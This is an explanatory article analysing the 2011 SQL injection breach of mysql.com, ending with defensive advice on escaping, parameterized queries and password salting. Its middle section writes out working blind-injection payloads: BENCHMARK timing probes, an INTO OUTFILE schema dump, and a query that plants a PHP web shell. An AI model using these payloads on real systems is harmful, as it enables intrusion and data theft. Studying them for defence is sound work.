On 27th March 2011 a message was posted on the popular Full Disclosure mailing list exposing a recent hack against the website mysql.com. This vulnerability was apparently also reported by a hacker called TinKode, who also claims to have found a cross site scripting attack on the same web site in January.
SQL Injection attacks are very popular. Some reports state that they constitute over 20% of all types of attacks against websites. On the other hand, the technology behind MySQL is very robust and has been tested by millions of users worldwide. It has a good reputation and also offers some protection against Injection attacks.
In this article I analyze how the attack happened. I try to pinpoint where the vulnerability lies so that web application developers can be more aware and more careful about how they build their sites.
The SQL Injection Process
An SQL Injection attack is executed in three phases. In the first phase, the attacker launches a series of probes, or scans against his target. These scans are testing for any known SQL Injection weakness. They typically work by sending intentionally malformed user data to the server and analysing error responses from the web application. Certain error responses pinpoint vulnerabilities, whilst others reveal important information which is used to further refine the scans. Once the attacker is satisfied, he can launch his attack.
The process is shown in the following diagram:
Depending on the vulnerabilities found the hacker will employ different methods to perform the injection. His methods will depend on the SQL server in use and how the web application is coded. These exact methods are not within the scope of this article, however a good article on the full details of SQL Injection attacks can be found here: How to check for SQL injection vulnerabilities
Anatomy of the Hack
The hackers revealed enough information to prove that the break was genuine but they have been rather quiet about the exact sequence of events that constituted the attack. They did, however, point us to their entry point which is:
Upon inspection, this URL points to the “Customers View” part of the website that enables web visitors to browse through the profiles of MySQL’s more prominent customers.
As you can see from the URL above, a single parameter called “id” is passed to this module. This parameter, which is of numeric type, identifies a customer. Customer ID 1170, corresponds to a company called Cinnober as can be seen in the screen shot below.
Interesting to note that if a different ID is passed, a different customer profile is displayed. For example, executing the request index.html?id=1171 results in the Quora customer profile being displayed. This is not a serious security vulnerability in itself, however allowing visitors to enumerate the web page in this way does raise some eyebrows in the security community.
In a message to the popular security mailing list Full Disclosure, the hackers revealed some more interesting details:
Host IP : 188.8.131.52
Web Server : Apache/2.2.15 (Fedora)
Powered-by : PHP/5.2.13
Injection Type : MySQL Blind
This information identifies the server IP address, the operating system and web server names and versions, the version of PHP used by the module and most importantly the Injection Type, which they claim to be “MySQL Blind.”
Earlier in the article I explained the main concepts of an SQL Injection attack. The first step of these attacks is to identify the vulnerability. The hacker does this by probing the web application until certain error conditions are met. These errors point out vulnerable points that could be exploited.
In a blind attack the web application does not reveal any information about the errors, therefore traditional probing methods are ineffective. This does not mean that there are no vulnerabilities, but it does make the existing ones much harder to find.
In this case the hacker was skilled enough to use alternative information gathering methods. One popular method used in Blind Injections is the Timing Attack. Using this method, the attacker puts a benchmark timer into the injected payload. This allows the him to accurately measure the amount of time that the payload takes to execute. Using this timing information the hacker can glean an important insight into the structure of the database including the database names and table names, which are instrumental in a successful SQL Injection attack.
The following example explains how the SQL BENCHMARK() function can be used in such an attack.
1170 UNION SELECT IF(SUBSTRING(current,1,1) = CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (Select Database() as current) as tbl;
The code above tests whether the first letter of the database name CHAR 119 (lowercase letter w). If the server response takes a long time it means that the current database starts with ‘w’. If the time is short then another letter is tested. This method is rather crude and takes some fine-tuning from the part of the hacker, but in this case it was successfully exploited to reveal the entire list of database names and their tables.
If the first phase of the attack is successful a new set of possible attack vectors are opened up. A hacker would first want to get more information about the environment that he is operating in. He could do that by issuing the following command:
1170 UNION SELECT IF(SUBSTRING(version(),1,1) = CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null)
This command will give the hacker the MySQL database version. Other functions can be used to gather more information, some of the more interesting ones are:
database() - the name of the database currently connected to.
system_user() - the system user for the database.
current_user() - the current user who is logged in to the database.
last_insert_id() - the transaction ID of the last insert operation on the database.
If current_user() has the correct write permissions, the hacker will proceed to dump out some more information to a file on the server. This will facilitate the data retrieval later on.
1170 Union All SELECT table_name, table_type, engine FROM information_schema.tables WHERE table_schema = 'mysql’ ORDER BY table_name DESC INTO OUTFILE '/path/location/on/server/www/schema.txt'
The command above, if successful will dump the entire database schema into a file called schema.txt which is accessible from the root folder of the website. The only caveat of this command is that it requires knowledge of the directory structure of the server. Sometimes this can be guessed since most system administrators use default settings. Other times it is revealed though over enthusiastic error reporting, or other more subtle bugs in the application code.
Once a hacker knows an injection entry point he can also penetrate deeper. The following command will give the hacker his own shell, opening a whole new set of possibilities for him.
1170 UNION SELECT "<? system($_REQUEST['cmd']); ?>",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" --
These are just a few techniques of blind injection that could have been used against a MySQL database. To break into MySQL.com the hacker must have employed commands very similar to these. The next section reveals some of the information that the hackers scraped from their website. This includes the entire database schema as well as the contents of some of the database tables, namely the ones that contain user names and passwords.
The hackers claim to have hacked the following mysql domains: www.mysql.com, www.mysql.fr, www.mysql.de, www.mysql.it, www-jp.mysql.com. These web sites are all very similar, in fact they appear to be running identical web applications, but in different languages. They are also connecting to the same database, or an exact replica of it. A quick visit to the vulnerable URL, but with the .com changed to .de reveals the same result but in the German language:
Of greater relevance is the number of exposed databases. The hackers list 46 different databases, some of them trivial with names like “test” but others look more interesting; customer, partners, wordpress and phorum5.
The databases “customer” and “partner” are probably used to feed the CMS for the website itself, so they would not contain any confidential information. The “wordpress” database might reveal some interesting data. The database called “phorum5” is very interesting because this name is used as the password for two database users; “mysqlforge” and “sys”.
Amongst the leaked accounts is the user name and password of Robin Schumacher who is the director of Product Management at MySQL. The passwords were all encrypted, however many of them were easily cracked. For example, Robin’s password, which granted administrative rights consisted simply of four digits. This looks a lot like a credit card PIN or a voicemail password. This user was not alone – many other accounts had short or simple passwords, indicating that a lax password policy was in place on the site.
The MySQL database is an integral part of many platforms. It drives popular platforms like Joomla, Drupal and WordPress. It’s customers span from open source projects to financial and government institutions and the largest websites like Wikipedia and Facebook use it for their back-end. For MySQL, a security incident like this is a big embarrassment which can affect their credibility amongst customers.
Pinpointing the exact location of the bug is tricky due to a lack of detailed information, however SQL Injection attacks are almost always blamed on programming errors in the web application layer, and not inside the database technology itself.
Blocking all SQL Injection attacks can be challenging, however there are some safeguards that should always be in place. For example, all user input should always be escaped. Escaping is a very effective way of stopping SQL Injection attacks and is supported on many platforms. PHP supplies a function mysql_real_escape_string() which should be used for all SQL queries that could include injection code. Many programmers block SQL Injection attacks by using bind variables, or parametrized SQL statements. This technique avoids the use of string concatenation to build SQL statements and therefore effectively blocks any kind of injection escaping though.
A more secure password policy could have quite possibly minimized the damage by slowing down the hackers, or even preventing them from penetrating further. Passwords should have also been salted, making them much more resilient to brute force attacks. Salting involves adding some random bits to the end of a password when it is hashed, greatly reduces the odds of successfully guessing a password during a brute force and makes them less vulnerable to rainbow table attacks.
Lastly, regular scans for common vulnerabilities should be critical part of your security policy. Websites are constantly being updated with new code and applications in order to keep up with the increasing demands for change on the World Wide Web. Testing for security needs to be automated wherever possible. Testing should also be done with trusted tools that get updated frequently. Security is a cat and mouse game. The hackers are always finding new ways to escape and you need to keep yourself one step ahead in order to win the game.